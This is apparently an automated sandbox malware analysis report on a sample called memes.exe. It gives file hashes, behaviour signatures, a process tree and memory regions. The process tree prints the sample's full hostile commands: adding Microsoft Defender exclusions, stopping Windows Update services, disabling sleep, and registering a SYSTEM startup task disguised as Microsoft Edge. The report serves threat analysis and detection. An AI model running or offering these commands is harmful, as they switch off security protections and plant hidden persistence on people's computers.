Analysis

  • max time kernel
    26s
  • max time network
    5s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/02/2024, 19:18

General

  • Target

    memes.exe

  • Size

    7.9MB

  • MD5

    a52e04619b3f5d740c980b005376e0b8

  • SHA1

    75ab5d9deb76e15cf8208756e60ab75abd22da94

  • SHA256

    712c597fb2b0f25a262dd7a87f3b68eeaae4f9f1813245795e3190d74ac4351a

  • SHA512

    6e81e4c849f57656e82ea41580d61a102d20b37c23222dc4fa29d27bd161534b8bb355dfd0deb55d79a97f7547878b32fb371ded1f8d94b818252f40c3161c79

  • SSDEEP

    196608:YtI8DzOmW3omKB+yKCYrp5SwOOYOZKBuBtz:YtPl+byKX1gwJEA

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Stops running service(s) 3 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:668
    • C:\Windows\system32\winlogon.exe
      winlogon.exe
      1⤵
        PID:612
        • C:\Windows\system32\dwm.exe
          "dwm.exe"
          2⤵
            PID:60
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
            PID:3408
            • C:\Users\Admin\AppData\Local\Temp\memes.exe
              "C:\Users\Admin\AppData\Local\Temp\memes.exe"
              2⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:3332
              • C:\Users\Admin\AppData\Local\Temp\edge.exe
                "C:\Users\Admin\AppData\Local\Temp\edge.exe"
                3⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4940
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2012
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2256
              • C:\Windows\System32\sc.exe
                sc stop UsoSvc
                3⤵
                • Launches sc.exe
                PID:524
              • C:\Windows\System32\sc.exe
                sc stop WaaSMedicSvc
                3⤵
                • Launches sc.exe
                PID:3008
              • C:\Windows\System32\sc.exe
                sc stop wuauserv
                3⤵
                • Launches sc.exe
                PID:4768
              • C:\Windows\System32\sc.exe
                sc stop bits
                3⤵
                • Launches sc.exe
                PID:3964
              • C:\Windows\System32\sc.exe
                sc stop dosvc
                3⤵
                • Launches sc.exe
                PID:2068
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1064
              • C:\Windows\System32\powercfg.exe
                powercfg /x -hibernate-timeout-ac 0
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:932
              • C:\Windows\System32\powercfg.exe
                powercfg /x -hibernate-timeout-dc 0
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1200
              • C:\Windows\System32\powercfg.exe
                powercfg /x -standby-timeout-ac 0
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3020
              • C:\Windows\System32\powercfg.exe
                powercfg /x -standby-timeout-dc 0
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2204
            • C:\Windows\System32\dialer.exe
              C:\Windows\System32\dialer.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:608
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:740
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
            1⤵
              PID:952

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                    Filesize

                    2KB

                    MD5

                    d85ba6ff808d9e5444a4b369f5bc2730

                    SHA1

                    31aa9d96590fff6981b315e0b391b575e4c0804a

                    SHA256

                    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                    SHA512

                    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Filesize

                    944B

                    MD5

                    77d622bb1a5b250869a3238b9bc1402b

                    SHA1

                    d47f4003c2554b9dfc4c16f22460b331886b191b

                    SHA256

                    f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                    SHA512

                    d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d4kuwtzw.bux.ps1

                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • C:\Users\Admin\AppData\Local\Temp\edge.exe

                    Filesize

                    5.7MB

                    MD5

                    8cd62e3ece85c4c3e9f6f7c816256adf

                    SHA1

                    9712769be3f755c5ecbe68d38800a3a8ecdaf324

                    SHA256

                    39ebcdbb6993787be2ed9d2b6668b9ee2707ca483a66b51d1302bfc610ba021b

                    SHA512

                    a0aa9f0e6542c526fc18d48ab945d8be3245900381c9640f6e122a633a15dd9a9364bacd830fbc588a926ebef8240300c1fbf4211eae600cff8b7e2c63613501

                  • memory/60-66-0x00000140FD7F0000-0x00000140FD817000-memory.dmp

                    Filesize

                    156KB

                  • memory/60-60-0x00000140FD7F0000-0x00000140FD817000-memory.dmp

                    Filesize

                    156KB

                  • memory/60-68-0x00007FFA7902D000-0x00007FFA7902E000-memory.dmp

                    Filesize

                    4KB

                  • memory/424-73-0x000001E4E5490000-0x000001E4E54B7000-memory.dmp

                    Filesize

                    156KB

                  • memory/424-70-0x000001E4E5490000-0x000001E4E54B7000-memory.dmp

                    Filesize

                    156KB

                  • memory/424-71-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/608-61-0x00007FF76BB10000-0x00007FF76BB39000-memory.dmp

                    Filesize

                    164KB

                  • memory/608-30-0x00007FFA78F90000-0x00007FFA79185000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/608-31-0x00007FFA78C80000-0x00007FFA78D3E000-memory.dmp

                    Filesize

                    760KB

                  • memory/612-46-0x0000023346090000-0x00000233460B1000-memory.dmp

                    Filesize

                    132KB

                  • memory/612-52-0x00007FFA7902D000-0x00007FFA7902E000-memory.dmp

                    Filesize

                    4KB

                  • memory/612-50-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/612-49-0x00000233465B0000-0x00000233465D7000-memory.dmp

                    Filesize

                    156KB

                  • memory/612-106-0x00000233465B0000-0x00000233465D7000-memory.dmp

                    Filesize

                    156KB

                  • memory/668-51-0x0000025CDBE40000-0x0000025CDBE67000-memory.dmp

                    Filesize

                    156KB

                  • memory/668-55-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/668-63-0x0000025CDBE40000-0x0000025CDBE67000-memory.dmp

                    Filesize

                    156KB

                  • memory/740-39-0x000001F546DA0000-0x000001F546DB0000-memory.dmp

                    Filesize

                    64KB

                  • memory/740-41-0x000001F546DA0000-0x000001F546DB0000-memory.dmp

                    Filesize

                    64KB

                  • memory/740-105-0x000001F546DA0000-0x000001F546DB0000-memory.dmp

                    Filesize

                    64KB

                  • memory/740-38-0x00007FFA5A110000-0x00007FFA5ABD1000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/740-104-0x000001F546DA0000-0x000001F546DB0000-memory.dmp

                    Filesize

                    64KB

                  • memory/740-93-0x00007FFA5A110000-0x00007FFA5ABD1000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/952-62-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/952-67-0x00007FFA7902C000-0x00007FFA7902D000-memory.dmp

                    Filesize

                    4KB

                  • memory/952-59-0x00000188239E0000-0x0000018823A07000-memory.dmp

                    Filesize

                    156KB

                  • memory/952-65-0x00000188239E0000-0x0000018823A07000-memory.dmp

                    Filesize

                    156KB

                  • memory/1040-76-0x0000024D7B8B0000-0x0000024D7B8D7000-memory.dmp

                    Filesize

                    156KB

                  • memory/1040-122-0x0000024D7B8B0000-0x0000024D7B8D7000-memory.dmp

                    Filesize

                    156KB

                  • memory/1040-78-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/1136-82-0x0000018105570000-0x0000018105597000-memory.dmp

                    Filesize

                    156KB

                  • memory/1136-81-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/1136-80-0x0000018105570000-0x0000018105597000-memory.dmp

                    Filesize

                    156KB

                  • memory/1156-84-0x000001E83D690000-0x000001E83D6B7000-memory.dmp

                    Filesize

                    156KB

                  • memory/1156-86-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/1164-96-0x000002E3B54B0000-0x000002E3B54D7000-memory.dmp

                    Filesize

                    156KB

                  • memory/1164-92-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/1164-90-0x000002E3B54B0000-0x000002E3B54D7000-memory.dmp

                    Filesize

                    156KB

                  • memory/1172-100-0x00000238C5760000-0x00000238C5787000-memory.dmp

                    Filesize

                    156KB

                  • memory/1172-94-0x00000238C5760000-0x00000238C5787000-memory.dmp

                    Filesize

                    156KB

                  • memory/1172-98-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/1236-103-0x0000020D976F0000-0x0000020D97717000-memory.dmp

                    Filesize

                    156KB

                  • memory/1236-99-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/1236-95-0x0000020D976F0000-0x0000020D97717000-memory.dmp

                    Filesize

                    156KB

                  • memory/1264-109-0x000001E814D30000-0x000001E814D57000-memory.dmp

                    Filesize

                    156KB

                  • memory/1264-111-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/1264-112-0x000001E814D30000-0x000001E814D57000-memory.dmp

                    Filesize

                    156KB

                  • memory/1368-115-0x0000026BC0FB0000-0x0000026BC0FD7000-memory.dmp

                    Filesize

                    156KB

                  • memory/1368-118-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/1400-128-0x000001DD50E60000-0x000001DD50E87000-memory.dmp

                    Filesize

                    156KB

                  • memory/1400-119-0x000001DD50E60000-0x000001DD50E87000-memory.dmp

                    Filesize

                    156KB

                  • memory/1400-124-0x00007FFA39010000-0x00007FFA39020000-memory.dmp

                    Filesize

                    64KB

                  • memory/1456-120-0x000001F7FC5B0000-0x000001F7FC5D7000-memory.dmp

                    Filesize

                    156KB

                  • memory/1456-134-0x000001F7FC5B0000-0x000001F7FC5D7000-memory.dmp

                    Filesize

                    156KB

                  • memory/1592-138-0x0000026428F70000-0x0000026428F97000-memory.dmp

                    Filesize

                    156KB

                  • memory/1600-142-0x00000270FB060000-0x00000270FB087000-memory.dmp

                    Filesize

                    156KB

                  • memory/2012-24-0x000001E646A40000-0x000001E646A50000-memory.dmp

                    Filesize

                    64KB

                  • memory/2012-25-0x000001E646A40000-0x000001E646A50000-memory.dmp

                    Filesize

                    64KB

                  • memory/2012-18-0x000001E660FF0000-0x000001E661012000-memory.dmp

                    Filesize

                    136KB

                  • memory/2012-23-0x00007FFA5A110000-0x00007FFA5ABD1000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2012-28-0x00007FFA5A110000-0x00007FFA5ABD1000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/3332-0-0x0000000000400000-0x0000000000BED000-memory.dmp

                    Filesize

                    7.9MB

                  • memory/4940-12-0x00007FF7CEB00000-0x00007FF7CF0C5000-memory.dmp

                    Filesize

                    5.8MB

                  • memory/4940-57-0x00007FF7CEB00000-0x00007FF7CF0C5000-memory.dmp

                    Filesize

                    5.8MB